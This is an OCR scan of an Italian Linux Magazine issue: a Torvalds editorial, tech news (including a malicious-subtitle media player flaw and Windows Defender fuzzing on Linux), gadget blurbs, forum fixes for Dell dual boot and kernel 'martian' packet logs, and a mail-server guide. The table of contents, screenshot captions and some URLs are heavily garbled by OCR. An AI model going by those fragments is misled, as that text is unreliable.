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Linus Torvalds, per gli amici Mr. Linux 


Era un bambino brutto, ma questo lo 
dice lui. Era un ragazzotto (non che 
oggi sia poi così avanti con l'età) che, 
come tanti di noi, nel lontano 1990 fre- 
meva all'idea di ricevere un fiammante 
386, ad oggi troppo vecchio per esse- 
re ricordato dalle “nuove generazioni” 
di futuri informatici. Ma, fin da subito 
avrebbe dovuto capire di non essere 

il solito utente smanettone. Avrebbe 
dovuto capire di essere un rivolu- 
zionario. Un rivoluzionario per caso. 
All'anagrafe Linux Benedict Torvalds, 
per gli amici semplicemente Linus, è 
stato infatti capace di dare una scossa 
al mondo intero, rivoluzionando non 
solo il mondo dei sistemi operativi, ma 
anche sdoganando il mito secondo 
cui questi, per avere successo, deb- 
bano necessariamente mettere radici 
nel Paese a stelle e strisce. Ed è così 
che nell'ultimo mezzo secolo il freddo 
finlandese ci ha regalato non solo il 
glorioso ricordo del passato Nokia, 
ma anche quell'ormai quasi cinquan- 
tenne, ma eterno ragazzo, “dittatore. 
benevolo”, com'è spesso definito dai 
membri del suo team. Membri che 
però non si contano di certo sulle dita 
di una mano. E neppure di due. Ne 
servirebbero migliaia, perché miglia- 
ia sono gli sviluppatori che ad oggi 
partecipano attivamente allo sviluppo 
del kernel Linux. Tutti a costo zero, 
anche se, secondo una stima redatta 
qualche anno fa, con un approccio di 
tipo proprietario, l'ormai antiquato Li- 
nux 2.6.8 avrebbe avuto un costo pari 
a 882 milioni di euro. Che bel regalo 
che ci hanno fatto questi sviluppatori! 
Ma quando sul Web ci chiedono di 
donare pochi spiccioli per finanziare lo 
sviluppo di un qualsiasi progetto Open 
Source spesso passiamo avanti e ce 
ne infischiamo. 

Sviluppatori che, forse, hanno fatto il 
kernel Linux più loro di quanto non lo 
sia per Linus Torvalds che, fino agli 
inizi del 2000 continuò a lavorare per 
un'azienda specializzata nella riduzio- 
ne dei consumi energetici dei disposi- 
tivi elettronici per poi passare solo in 


seguito al coordinamento del gruppo 
di sviluppo. Perché, alla fine dei conti, 
Linux è nato per soddisfare la voglia di 
un giovane informatico con in testa un 
unico pallino: avere un sistema opera- 
tivo cucito su misura. È nato quasi per 
gioco, un po' come tutti i più grandi 
progetti della storia di tutti i tempi. 
“Non ho lanciato Linux come un pro- 
getto collaborativo. L'ho fatto solo per 
me stesso [...] L'ho reso pubblico, ma 
non avevo alcuna intenzione di usare 
la metodologia Open Source. Volevo 
solo avere commenti sul mio lavoro”. 
Queste le parole dello stesso Torvalds. 
Parole che forse se lette con un po' di 
superficialità possono lasciar spazio 
a cattivi pensieri ma che, se analiz- 
zate con attenzione, non fanno altro 
che far uscir fuori la vera indole di Mr. 
Linux. Un uomo onesto e comunque 
aperto a qualsiasi tipo di progetto che 
sia esso Open o closed. Che poi lui 
abbia deciso di preferire un approccio 
aperto è solo una scelta personale. E 
non per questo deve necessariamen- 
te puntare il dito contro chi sviluppa 
software proprietario: il tipo di licenza 
è sempre una scelta dello sviluppatore 
e il tempo e il numero di utilizzatori 

del software sono le uniche variabili 
che determinano il successo o meno 
di un qualsiasi progetto (a detta di 

Mr. Torvalds). A metterlo di fronte a 
Richard Stallman, sembrerebbe quasi 
come affiancare il diavolo e l'acqua 
santa, almeno per quanto riguarda la 
verve utilizzata nel cercare di con- 
vincere la platea di turno di quanto 

sia importante il Software Libero, 
Stallman, pur essendo (senza dubbio 
alcuno) uno dei più grandi uomini di 
GNU/Linux, è il pastore di una chiesa 
che ha sempre più bisogno di “fedeli”; 
Torvalds, di contro, è il leader tecnolo- 
gico di un progetto ormai divenuto un 
sogno realizzato. Ma si sa, gli opposti 
si attraggono. 


Vincenzo Cosentino 
Invia iltuo commento a: 
linuxmag@edmaster.it 


: A tu per tu con Linus Torvalds È 


Ripercorriamo insieme la strada che ci ha portato 
alla realizzazione di un sogno: un sistema operativo 
libero, gratuito, completo e sicuro 


MI Sistema 
sirena iù SERRE pur ì KbEtuing! en 48 
CREA UN BOT COL RASPBERRY  .. 
3: I nostri esperti ti spiegano come » controllare, Lu da remoto, Crea un bot col Rasphetty ................. 52 
il tuo mini PC direttamente con Telegram | a 
È MI Rete 
CS: scegli quello giusto ............................... 58 
Aumenta la potenza della tua Wi-Fi............ 60 
Drupal, il re dei CMS......................................... 62 
SISTEMA ì i a WOMERO A 
KDE TUNING! BI Sicurezza 
Ecco come rubano i tuoi dati ....................... 64 


4 Arricchiamo l'ambiente desktop con funzioni che ci facilitano Primi passi con lo squalo della Retee.......... 66 
la vita e cloniamo le impostazioni anche su altri PC della LAN 


BI Hacking zone 
“Così entro nel tuo WordPress” ................... 70 


Android corner 


SZ Blinda il tuo smartphone! .............................. 72 
così ENTRO NEL. TI (0) WORDPRESS" Alla ricerca della foto perduta ................... 74 
Come tutti i CMS, permette di relmpostare le sur di un i 
i ci AIAR AR RTRT UR 
‘utente. Ma, la procedura c 
\ Wi Cose:da:geekissc i oi 8 
mi Cover Story MI Gaming gi Vagli 
lo.sono. ini; oli 16 Hlritorno delle arene in pieno stile Quake 38 Bi Prodotti......... 
WEA‘ gati SR SSR 
MI Hardware ME Multimedia BI TIPS ANA TriCkS......... ie 36 
Le 50 migliori cuffie ......................................... 28 Testi straordinari per i tuoi filmati ............. 43 


00: 
Linux Magazine ®®|5 


me potenzialmente “| 
estesa mai ind 


presenza poco inva- 
siva di advertising si erano 

| guadagnate anche un buon. 

| mumero di “recensioni” 

| positive o soddisfatte sul 


Play Store. 


hi Linux Magazine 


Il papà di Android battezza Essential Phone 


Il brand fondato da Andy Rubin presenta uno smartphone semi-modulare 


MM il padre del sistema operativo 
Android, Andy Rubin, si è dedi- 
cato allo sviluppo di un innova- 
tivo dispositivo smartphone. Si 
tratta di un device brandizzato 
Essential, dall'omonimo nome 
di una delle tante startup facenti 
parte della holding Playground 
Global fondata a seguito della 
fuoriuscita da Google di Rubin 
nel 2014. Essential Phone è in 
assoluto il primo prodotto ad 
essere commercializzato con il 
nuovo marchio. La volontà è of- 
frire una risposta alle esigenze 
del modo di vivere delle per- 
sone del 21° secolo, evitando 
quelle che sono le funzionalità 
inutili che rischiano di compli- 
care la vita anziché semplificar- 
la. Essential Phone PH-1, uno 
smartphone basato su Android, 


pulito nel design (nessun logo 
in evidenza), particolarmente 
resistente, realizzato in titanio 
con componenti esterni che 
si possono collegare grazie a 
connettori magnetici, come la 
piccolissima fotocamera a 360 
gradi da 12 Megapixel {vendu- 
ta separatamente a 50 dollari). 
Tra le caratteristiche si trovano 
una fotocamera frontale da 8 
Megapixel in grado di registra- 
re anche video 4K, un display 
full edge-to-edge da 5,7 pollici 
e risoluzione 2.560x1.312. pi- 
xel. Il cuore è rappresentato 
da un processore Qualcomm 
Snapdragon 835 mentre la GPU 
è una Adreno 540, 710 MHz a 
64bit. La RAM è da 4 GB, il Blue- 
tooth è 5.0 LE e la batteria da 
3.040mAh dovrebbe garantire 


una buona autonomia. Il costo è 
fissato a 700 dollari. 


Per informazioni: 
www.edmaster.it/url/6875 


Windows Defender su GNU/Linux. Perché? 


Eresia o pragmatismo? Lo scopo del porting è aiutare gli analisti nel debug 


MI Tavis Ormandy, famoso esperto di sicurezza di 
Google, ha rilasciato su GitHub un tool che gli ha 
permesso di portare la DLL (Dynamic Link Library) 
di Windows Defender su GNU/Linux. Con il nome 
di Loadlibrary il progetto ha lo scopo di aiutare i 
ricercatori nel campo della sicurezza ad effettuare 
testing di tipo fuzzy per la ricerca di vulnerabilità 
su software Windows in modo più veloce, efficace 
e scalabile. Loadlibrary permette di scaricare e far 
funzionare le Windows DLL su GNU/Linux aiutando 


i tester nel lavoro di analisi tramite tool di penetra- 
tion testing specializzati chiamati fuzzers. Questi 
permettono di effettuare operazioni automatiz- 
zate (fuzzing) che si basano sulla sottomissione 
di dati random alle applicazioni, al fine di rilevare 
la presenza di anomalie negli output. Effettuare 
un fuzzing distribuito e scalabile su Windows è un 
compito particolarmente arduo e inefficiente, men- 
tre in ambiente GNU/Linux questi problemi 
sono ridotti. Come spiega Ormandy, il 
suo esperimento permette di testare le 
librerie Windows in container minimi, con 


‘ pochissimo overhead, garantendo la scalabilità. Il 


pacchetto di default rilasciato, include una demo in ‘ 
cui il ricercatore importa su GNU/Linux il MsMpEng 
{Microsoft Malware Protection Engine] - il servizio 
di sicurezza installato di default su alcune piatta- 
forme Windows - il cui componente responsabile 
della scansione e dell'analisi di malware, chiamato 
Mpengine, fornisce una vasta e completa superficie 
di analisi. 


Per informazioni: 
www.edmaster.it/url/6876 


Google sfodera l’AI contro il phishing 


Ecco i nuovi sistemi di sicurezza adottati da Mountain View in Gmail 


MI La novità si basa stavolta sulla ricerca di 
Mountain View relativa ai modelli di Machine 
Learning, uno dei fronti su cui si sta più im- 
pegnando 


maggior- 
mente come 
dimostra ad 
esempio il 
successo me- 


diatico della 

sua  Intelli- 

genza  Arti- 

ficiale AlphaGo messa a lavorare sull'antico 
gioco cinese del Go e confermatosi come un 
avversario inarrivabile per i campioni umani. 
Applicare tali risultati al phishing è la conse- 
guenza di un semplice ragionamento: per re- 
stare al passo con i malintenzionati, sempre al 
lavoro su nuovi sistemi per aggirare i filtri anti- 
spam, occorre trovare un sistema per antici- 
parli o almeno comprenderne il ragionamento. 
Come descritto sul blog ufficiale di Google gli 
aggiornamenti si basano su un nuovo modello 
di individuazione delle email che costituiscono 


tentativi di phishing basato su un'Intelligenza 


Artificiale in grado di imparare dalla sua espe- 


rienza e dalle informazioni a cui può attingere 
dalla naviga- 
zione di- Go- 
ogle Safe. Le 


valutazio- 

ni dell'Al si 

i] baseranno 
sempre sulla 
reputazioni 


e su analisi 
comparate degli URG indicati nelle comunica- 
zioni ricevute dagli account Gmail e forniranno 
tempestivamente avvisi di malware o phishing: 
d'altra parte, ad essere sfruttato nel phishing 
è l'errore umano che può essere evitato - a 
descrizione della persona interessata che può 
eventualmente riconoscere la legittimità di una 
comunicazione evitando di perdere email utili - 
con un semplice avviso. 


Per informazioni: 
www.edmaster.it/url/6877 


Media player nel mirino degli hacker 


individuata una nuova minaccia informatica veicolata dai lettori multimediali 


MI | ricercatori di Check Point 
hanno rivelato l'esistenza di un 
problema molto grave all'inter- 
no dei media player più usati 
dagli utenti, una falla che po- 
trebbe permettere a un cyber- 
criminale di compromettere la 
sicurezza di un sistema agendo 
da remoto. La nuova minaccia 
arriva nella forma di sottotitoli 
“malevoli", file tradizional- 


mente considerati come sem- 
plici ricettacoli di testo da af- 
fiancare a film o serie TVma che 
col tempo hanno guadagnato la 
possibilità di includere veri e 
propri listati di codice interpre- 
tabile da un lettore compatibile. 
Check Point dice di aver testa- 
to (e verificato) l'esistenza del 
problema sulle piattaforme di 
streaming di VLC Media Player, 
Kodi, Popcorn Time e Stremio, 
e di avere ragione di credere 
che vulnerabilità simili possano 
esistere anche in altri lettori 
meno conosciuti. Ad aggra- 
vare il problema c'è poi la 
modalità di fruizione da 
parte degli utenti 
appassionati di 

streaming, che su 

Popcorn Time e gli 


altri player succitati vengono 
invitati a recuperare i sotto- 
titoli desiderati direttamente 
on-line, sui motori di ricerca 
“istituzionali” del settore come 
Opensubtitles.org: un malin- 
tenzionato può fare in modo 
di compromettere i file di sot- 
totitoli più popolari, mentre 
all'utente basta caricarli nel 
lettore per aprire la strada al 
controllo remoto del sistema. 
Gli sviluppatori hanno rispo- 
sto rilasciando prontamente le 
versioni aggiornate dei rispet- 
tivi software: la nuova release 
ufficiale di VLC ha chiuso la fal- 
la, così come hanno fatto Kodi, 
Stremio e Popcorn Time. 


Per informazioni: 
www.edmaster.it/url/6878 


Flash 


min Europa — 
Internet vola! 


rga, rilevanti interruzioni 
di Rete, esaurimento degli 
indirizzi IPv4 e implemen- 
tazione del protocollo IPVO. 


5 Un interessante approfon- 


28 dei. 31 Paesi analizzati). | 


- Norvegia, Svezia e Svizzera 


si posizionano in testa ri- 
spettivamente con velocità 


| medie di 23, 9 Mbps, 22, SI 


| Finlandia, Danimarca, 


Regno Unito, Spagna, Italia. 


e Croazia. Ai due stremi. 


si trovano la Grecia che 


incrementa la velocità anno 
| dopo anno dello 0,5% (7,9 


Mbps) e la Danimarca con 
il 17% (20,1 Mbps). Dando 
uno sguardo gli standard di 


| connessione, il Belgio si è 
confermato leader globale 


nell'adozione dello stan- 
‘dard IPv6, ormai sul mer- 
cato da 6 anni, seguito da 
Grecia (2° posto), Svizzera 
(4° posto), Germania (6° 
posto), Estonia (8° posto) e 
Regno Unito (10° posto). Gli 


| operatori che gestiscono 


volumi più grandi di con- 
nessioni simili sono Sky 
Broadband (Regno Unito), 
TELENET (Belgio) e Kabel 
Deutschland (Germania). 
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Linux gadget e prodotti 


Periferiche, accessori e altri dispositivi per lavorare e divertirsi nel tempo libero 


GUARDA IN PROFONDITÀ! 


Si tratta di un simpatico gadget che, in alcune circostanze, può 
facilitarci (e non poco!) la vita. Collegato al nostro smartphone 
Android ci permette di esplorare zone impervie e difficili da rag- 
giungere come ad esempio un tubo di scarico. L'immagine viene 
poi trasmessa sul display del telefonino. 

Per informazioni: www.edmaster.it/url/6891 


PER I PIÙ SPORTIVI 


Con la bella stagione cre- 

sce la voglia di fare una 
corsetta in campagna 

o, perché no, in riva al 

mare. | veri geek, però, 

prima acquistano un 

fitness tracker. Questo 
braccialetto, dalle 

dimensioni estrema- 

mente compatte, è 

in grado di mostrarci 

la distanza percorsa, 

le calorie bruciate e 

contare i nostri passi. 

Inoltre, grazie alle sue 
funzionalità, è possibile anche 
monitorare la qualità del sonno. 
Per informazioni: www.edmaster.it/url/6893 


Linux Magazine 


LILIIEEINAAI 


MUSICA IN LIBERTÀ 


SAVFY AURICOLARI IN-EAR SENZA FILI 
Vogliamo ascoltare musica in mobilità ma non vogliamo 
avere a che fare con i scomodi cavetti delle classiche 
cuffie auricolari? Questo prodotto è ciò che fa per noi. 

Dalle dimensioni estremamente compatte, si accoppiano 
perfettamente a qualsiasi device equipaggiato di interfaccia 
Bluetooth (gli smartphone Android ad esempio) e potremo 
ascoltare più comodamente i nostri brani preferiti. 

Per informazioni: www.edmaster.it/url/6892 


GUIDA IN SICUREZZA! 


Parlare al cellulare mentre si è alla guida è proibito dalla legge. E 
se la nostra auto non è equipaggiata di un kit bluetooth, possiamo 
pur sempre aggiungerlo noi! Questo compatto gadget può essere 
agganciato su qualsiasi aletta parasole e, dopo averlo accoppiato 
con il nostro smartphone, ci permette di conversare al telefono 
tenendo ben salde le mani sul volante. 

Per informazioni: 
www.edmaster.it/url/6894 


49” 


Se vogliamo colle- 
gare al PC, desktop 
o portatile, un hard 
disk esterno SATA, 
una docking station 
è ciò che fa per noi. 
Quest'utilissimo ac- 
cessorio permette 
la lettura e scrit- 
tura degli dischi 
collegati (fino a 2). 
Supporta l'USB 3.0 
e dunque garanti- 
sce ottime velocità 
sia in scrittura che 
in lettura. Gli hard 


Il segnale del Wi-Fi è troppo debole in alcuni 
punti di casa? Utilizzando quest'adattatore 
USB potremmo risolvere il nostro problema. 
Già, perché l'antenna integrata consente un 
guadagno di ben 6 dB, tendenzialmente più 
che sufficienti per andare a migliorare 

un segnale altalenante. Perfettamente 
compatibile con GNU/Linux, supporta 

il draft n garantendo una velocità che arriva 
fino a 300 Mbps. 


disk collegabili 

possono essere da 

2,5” o da 3,5”. 
Siamo alla ricerca di uno speaker Bluetooth fuori dal comune, 
che ci permetta magari anche di ascoltare la radio FM o di Troppi cavetti USB finiscono per ingarbugliarsi fra loro. 
riprodurre i nostri brani preferiti senza accoppiarlo necessa- Ma questo non accade se scegliamo un modello rivestito 
riamente con il nostro smartphone o tablet Android? Questo è in nylon che, oltre ad essere più resistente, garantisce 
il modello che fa per noi. La batteria ricaricabile al litio da 350 una bassa probabilità di intreccio. Questo kit, include 5 
mAR assicura fino a 3 ore di riproduzione continua. differenti cavi USB Type C di differenti lunghezze: 2 metri, 


1 metro e 30 centimetri. 
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SOLUZIONI DAL FORUM 


Ogni mese i thread più gettonati estratti nelle diverse discussioni dal forum di GNU/Linux 
Magazine. Se non fate ancora parte della nostra squadra, iscrivetevi subito e contribuite 
alla crescita del movimento Open Source. Il nostro sito è pronto ad ospitare esperti, neofiti 
o semplicemente chi ne vuole sapere di più a proposito di GNU/Linux e del Software Libero 


Sistema/Hardware 


UN PORTATILE “COMPLICATO” 


DOMANDA © Ciao a tutti, sto tentando di installare Ubuntu in dual 
boot con Windows 10 su un portatile Dell XPS 15 9560 (Fig. 1). 
Premetto che il BIOS di questa macchina è UEFI e di conseguenza il 
disco presenta partizioni GPT (GUID Partition Table) e non il classico 
sistema MBR (Master Boot Record). Il controller è impostato in 
modalità Raid On e non in AHCI. La modalità Raid On è necessaria 
a Windows per sfruttare le potenzialità dei nuovi SSD NVMe (Solid 
State Drive Non-Volatile Memory express) come da FAQ nel sito 
Dell ( HYPERLINK "Attps://g00.gl/60UGiq"htips://go0o0.gl/60UGIg) il 
tutto è gestito dai driver Intel Rapid Storage Technology (Intel RST). 
Per procedere all'installazione ho preparato una penna USB avviabile, 
disabilitato nel BIOS il Secure Boot, ed ho scelto di fare il boot da 
USB. Ubuntu si avvia correttamente in modalità live, ma non appena 
tento l'installazione mi dice che non riesce ad individuare l'hard disk 
SSD. Se, invece, abilito da UEFI la modalità Legacy, pur lanciando 
l’installazione in modalità UEFI, il disco SSD mi viene riconosciuto 
e riesco a concludere l'installazione con successo. Al nuovo riavvio, 
però, se scelgo da GRUB di avviare Ubuntu lo stesso non riesce più a 
trovare il disco, o meglio si blocca durante il caricamento restituendo 
l'errore nouveau 0000:01:00.0: unknown chipset (13700021). Con 
una ricerca è spuntato fuori che è un errore dato dalla scheda video 
Nvidia: ho quindi installato i driver proprietari come in molti forum 
veniva consigliato, ma dopo l'installazione nulla è cambiato. Ora 
Ubuntu rimane bloccato su una schermata completamente nera. In Rete 
ho visto che molti altri possessori di questo modello Dell hanno il mio 
stesso problema. Sapreste darmi qualche consiglio per risolvere? 


SOLUZIONE © È l’utente Kayn a riportare la richiesta e sarà lui 
stesso, di lì a qualche giorno, dopo un certo numero di prove e di 
scambi di messaggi, a riportare la soluzione che elenchiamo per punti 
nel seguito per coloro i quali volessero adottare il dual boot su portatili 
Dell simili: 

e Avviamo Microsoft Windows 10;, 

* Altermine dell’avvio premiamo la combinazione di tasti Windows+R 
al fine di aprire la pop-up Esegui; 

* Digitiamo msconfig e confermiamo con Invio; 

* Nella nuova finestra selezioniamo Opzioni di avvio, mettiamo la 
spunta a Modalità provvisoria e sulla voce Minima, quindi clic su Ok; 
* Riavviamo il portatile ed entriamo nel BIOS premendo F12 appena 
ceo 
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Fig. 1 e Il modello di portatile di fascia medio-alta Dell oggetto 
del thread 


appare il logo Dell; 

* Dal BIOS, sempre in modalità UEFI, portiamo a Off la voce Secure 
Boot; 

* Andiamo in System Configuration quindi optiamo per Sata 
Operation cambiando le impostazioni del controller da Raid On ad 
AHCI. Ogni operazione va sempre confermata cliccando su Apply in 
basso; 

* Usciamo dal BIOS e facciamo avviare Windows in modalità 
provvisoria: così facendo il sistema installa automaticamente i driver 
per il supporto del controller AHCI; 

* Prima di riavviare il portatile, eseguiamo di nuovo i punti 2, 3 e 4 al 
fine di rimuovere l’avvio in modalità provvisoria; 

* Riavviamo di nuovo il portatile: a questo punto Windows 10 avendo 
il driver per il controller AHCI si avvierà senza alcun problema. Ora, 
usando il tool di partizionamento di Windows riduciamo la dimensione 
della partizione dedicata al sistema di casa Redmond al fine di creare lo 
spazio necessario ad Ubuntu; 

e Prepariamo una chiave USB con Ubuntu e compatibilità UEFI (ad 
esempio utilizzando il software Rufus— HYPERLINK "https:/rufus. 
akeo.ie/?locale=it_IT"https://rufus.akeo.ie), riavviamo il portatile ed 
entriamo nel BIOS al fine di selezionare USB come prima unità di 
avvio; 

* Riavviamo di nuovo il portatile e procediamo all’usuale installazione. 


Il bootloader GRUB2 è stato installato nella prima partizione del 


disco identificata, nel caso specifico, come /dev/nvme0n1 opzione, 
questa, che è possibile scegliere durante la fase di installazione di 
Ubuntu. Infine, almeno nel caso in questione, non è stato necessario 
disabilitare il Fast boot di Windows, ed il BIOS è rimasto sempre 
impostato su UEFI, anche perché Ubuntu — e GNU/Linux in genere 
- supporta da molto tempo il nuovo sistema di tabelle delle partizioni 
GPT. Dopo questo intervento Ubuntu e Windows coesistono e si 
avviano correttamente. Coloro i quali volessero riportare la propria 
guida per uno specifico portatile e/o volessero solo chiedere maggiori 
informazioni sull’acquisto di un portatile compatibile con GNU/ 
Linux possono rivolgere le proprie domande al forum di GNU/Linux 
Magazine, che è possibile trovare al nuovo indirizzo http:/linux- 
magazine.edmaster.it/forum. 


Distribuzioni/SUSE 


DOMANDA @ Mentre navigavo in Internet con openSUSE 
Tumbleweed, l'icona del gestore della connessione è scomparsa, e 
Internet ha smesso di funzionare per circa un minuto. Per capire cosa 
fosse accaduto, ho impartito il comando dmesg | tail -40 che ha 
mostrato, nella parte di interesse, l'output seguente: 


[...] 

[ 1123.746654] IPv4: martian source 255.255.255.255 from 
192.168.1.1, on dev wlp2s0 

[ 123.746682] ll header: 00000000: ff ff ff ff ff ff 30 b5 c2 92 85 11 
08 00 ...... (| Posa 


Qualcuno sa come interpretare questo output? Io dubito che si tratti di 
un messaggio proveniente da Marte, ma qualcosa dovrà pur significare! 


SOLUZIONE ®© L’utente Sargon6 riporta la domanda la quale ha una 
immediata risposta che integreremo con ulteriori considerazioni nel 
seguito. Di default nei sistemi GNU/Linux ogni pacchetto è considerato 
individualmente “instradabile” perciò l’algoritmo di routing determina 
dove deve essere inviato un pacchetto in funzione delle informazioni 
in esso contenute. Un header source “marziano” è un indirizzo IP che 
non dovrebbe essere inoltrato dai router. Il Request for Comments 
1812 (RFC 1812 - HYPERLINK "http:/www.fags.0rg/rfcs/rfc1812, 
himl"www.fags.org/rfcs/rfc1812.html) fornisce maggiori dettagli 
su ciò che è e ciò che non è un indirizzo IPv4 routabile valido: ad 
esempio, un indirizzo IP non è valido se esso è uno speciale IP così 
come definito nei paragrafi 4.2.2.11 e 5.3.7 del suddetto documento 
oppure se esso non è un indirizzo unicast. Allora visto nel suo 
complesso un “pacchetto marziano” altro non è che un pacchetto IP 
che specifica un indirizzo di origine o destinazione riservato ad un 
uso speciale impostato dallo IANA (Internet Assigned Numbers 
Authority - HYPERLINK "Atfps:/www.iana.org/"www.iana.org), 
ovvero l’organizzazione responsabile dell’assegnazione degli indirizzi 
IP: nella versione 4 del protocollo IP, gli indirizzi di Classe E - che in 
notazione decimale vanno da 240.X.Y.Z a 255.X.Y.Z - sono riservati 
e pertanto fonti di origine marziana. In definitiva un IPv4 martian 
source è un indirizzo IP che o non doveva essere instradato dal router 


File Modifica 


Visualizza Segnalibri 
sysctl -a | 
0 


Impostazioni 
grep martians 
conf .all.log 
conf .default.log_ 
conf.eth0.log_ 
conf .lo.log_ 
conf .ppp9. log = 

.conf.all.stable secret" 
6.conf.default.stable secret" 

«conf.eth0.stable secret" 
b.conf.lo.stable secret" 

.conf.pppd.stable_secret" 


Fig. 2 è Coni parametri a 0 i pacchetti marziani non verranno 
registrati 


o è proveniente da una sottorete (subnet) non corretta. Un indirizzo 
IP 127.0.0.0/8 proveniente da un router verrebbe etichettato come 
“marziano” poiché pacchetti con questi indirizzi dovrebbero essere solo 
locali e non viaggiare attraverso le reti. Ancora, un’interfaccia di rete 
eth0 con indirizzo 192.168.0.1 e maschera di rete 255.255.255.0. Se su 
questo segmento di rete è presente una stampante rimasta impostata, ad 
esempio per dimenticanza, con un indirizzo IP 202.167.2.34 se ricevuto 
sull’interfaccia eth0 verrà segnalato come un “martian source” questo 
perché sull’interfaccia eth0 ci si aspetterebbero indirizzi associati 
esclusivamente alla sottorete corrispondente ovvero 192.168.0.x. Di 
per sé questi messaggi marziani non sono indice di un grave problema, 
ma aiutano a capire la presenza di un errore nell’impostazione della 
rete e/o una configurazione non ottimale. Si può evitare di vedere 
queste segnalazioni nel log del kernel? Il metodo più immediato — una 
volta certi che non sia un problema di sicurezza e/o che non siano 
pacchetti instradati dal router - è disattivare la registrazione di questi 
messaggi e i parametri seguenti: 


net.ipv4.conf.all.log_martians 
net.ipv4.conf.lo.log_martians 
net.ipv4.conf.eth0.log_martians 
net.ipv4.conf.default.log_martians 


sono i “responsabili”. Verifichiamo se sono attivi con sysctl -a | grep 
martians (Fig. 2). Possiamo modificarne il comportamento in maniera 
permanente editando il file /etc/sysctl.conf: al termine dell’editing 


salviamo il file e lanciamo il comando sysctl -p per caricare la nuova 


configurazione. - 

Rimane da interpretare l’output come richiesto dall’utente Sargon6. 
La prima riga contiene gli indirizzi IP sorgente (192.168.1.1) e 
destinazione (255.255.255.255 ) nonché l’interfaccia di rete (wlp2s0, 
quindi Wireless) sulla quale il pacchetto è arrivato. La seconda riga 
riporta, invece, una parte del frame Ethernet, di preciso il MAC 
Header. I primi 6 byte FF FF FF FF FF FF indicano il MAC Address 
della destinazione, i successivi 6 byte 30 B5 C2 92 85 11 il MAC 
Address della sorgente. Per i rimanenti due byte se il valore è inferiore, 
in esadecimale, a 06 00 allora rappresenta la lunghezza del campo dati. 
Valori maggiori, giusto per riportarne qualcuno, indicano per 08 00 
(come nel caso dell’output dell’utente) un datagramma IPv4, 08 06 un 
frame ARP e 86 DD un datagramma IPv6. 
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MAIL SERVER: 
CONSIGLI PER L'ACQUISTO 


Quali sono gli aspetti da tenere in considerazione quando si decide di acquistare un server 
di posta elettronica dedicato? Scopriamolo subito 


Qui server sono uno dei pilastri alla base dei 
moderni sistemi di comunicazione on-line: 
è infatti grazie a questi apparati informatici che 


COME ACQUISTARE IL SERVIZIO 


Per procedere all'acquisto di Mail Server Dedicato Hosting Solutions raggiungiamo 


smistano e ricevono i messaggi di posta che le la pagina Web www.edmaster.it/url/6882. Inseriamo il nome del dominio da asso- 
nostre e-mail giungono a destinazione. I mail ciare al servizio o in alternativa il dominio che intendiamo trasferire. Confermiamo 
server dedicati, soluzioni che sempre più provi- quindi con Ordina e seguiamo le istruzioni a schermo. La procedura viene ultimata 
der mettono a disposizione dell’utenza, offrono con l'invio di una mail di attivazione del servizio. 


maggiori garanzie e vantaggi rispetto ai classi- 


Il tuo nuovo server di posta in pochi clic 


Muoviamo i primi passi nel Mail Server Dedicato Hosting Solutions 


Login 


Password: 0000000000 | 


ACCESSO AL SERVIZIO 
01 Raggiungiamo l'indirizzo https://indirizzoIP mail- 
server/dempanel o https://mail.miodominio.it/ 
dempanel/ per visualizzare la maschera di login. Inseriamo 
l'username e la password indicati nella mail di conferma atti- 
vazione del servizio e confermiamo con Login. 


È 
| i 
È 


sona denine Spec ritenta Ù i sica cor sand (UTO) estinta È 
Nome Dominio 
penolan Î 
Ripeti Password 5 
(*) Camel OBBLIGATORI 3 5 
[Dominio ATTIVO | Siate È 
Spazio totale (MB) assegnato al dominio (*) fioooo Insenre un valore iero; 0 » spazio Mimtato È 
Numero Akas (*) A I 
Numero Caselle (*) ri BETAEZIOAN 0 « nessun levte (Libra Bava non attivabile) 
Numero Forward (*) k Inserire un valore Intero maggiore di 0 i 
Melagti eoga pae Caeta (MR tr, cerro Mero przzianersereri ‘ caprese raf 
IMPOSTAZIONI E FUNZIONALITA 
0 Possiamo agire su varie impostazioni: l'userna- 


me e la password da usare, l'attivazione o disat- 
tivazione del dominio, lo spazio di archiviazione, i limiti di 
invio, i filtri antispam e molto altro. Cliccando su Crea Nuo- 
vo Dominio concluderemo l'operazione. 
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Home = =f Nuovo Conteggio invii Coda Coda messaggi 
Ve Dominio || — per mittente. : messaggi — con sender (LENTO) 


Disponibile wusato È 


50GB 


Info Coda Mail Mail queue Is empty 


NUOVO DOMINIO 
0 Eccoci nel pannello di amministrazione. In alto 
a sinistra notiamo la voce Nuovo Dominio, che 
ci permette di raggiungere una nuova sezione dedicata 
alla personalizzazione di varie impostazioni e funzionalità. 
Clicchiamoci sopra e procediamo. 


Conteggio mi — Coda n Cota messaggi Grafico Damrload 
gr Bitta dik i PACI L. 


0 | Impostazioni | Dating cafe 
miodeminioit 20.0 LL Btfivo O... 10 O/Importazeni .- Desagiocama( 


GESTIONE DELLE CASELLE 
0 Nella schermata Home è ora visibile il dominio che 
abbiamo appena creato. Il pulsante Gestione Ca- 
selle (in corrispondenza del dominio interessato) ci permette 
di passare direttamente alla sezione dedicata alla configura- 
zione delle caselle legate al dominio selezionato. 


ci mail server ai quali ci affidiamo quotidiana- 
mente. In queste pagine scopriremo quali sono 
le principali caratteristiche che tali servizi do- 
vrebbero avere per conquistare la fiducia dell’ac- 
quirente e meritare l’acquisto. La gestione siste- 


Gestione completa e sicura 


Ecco come creare una nuova mailbox, personalizzarla e proteggerla 


UNA NUOVA CASELLA 

01 Nella pagina Gestione Caselle, clicchiamo sul pul- 
sante Aggiungi casella di posta: accederemo alla 

schermata di setup della mailbox nella quale troviamo tan- 

tissime impostazioni e funzionalità da modificare in base alle 

nostre esigenze. Scopriamone qualcuna. 


Filtro Anti-spam 

Attivo: 

Punteggio: 

Se spam, modifica l'oggetto del messaggio con: 


Whitelist : 


Blacklist : 


Converti lo spam in allegato: 
Aggiungi un report a TUTTI i messaggi: [| 
Aggiungi intestazione X-Header: Wi 


«..E SICURA! 
03 La seconda metà della pagina ospita numerose voci 
dedicate alla sicurezza: dai filtri antispam fino alle 

blacklist e whitelist - rispettivamente gli indirizzi indesiderati 


e quelli che non devono essere interessati dai controlli anti- 
spam/antivirus. Terminiamo con Aggiungi casella di posta. 


lestione Caselle! Caselle e Alias Caselle Alias Password 


das ‘tascaselpersonsie_\@mlodominio.it 


(caellapersonalefigmati. com 2 indirizzi di inoltro al massimo 
L 


"0 x tal ____il Attenzione:un solo indirizzo peli 


[2] 


TUTTO PRONTO! 

L'Alias si occuperà di inoltrare tutti i messaggi 
ricevuti ai due indirizzi che digiteremo nell'appo- 
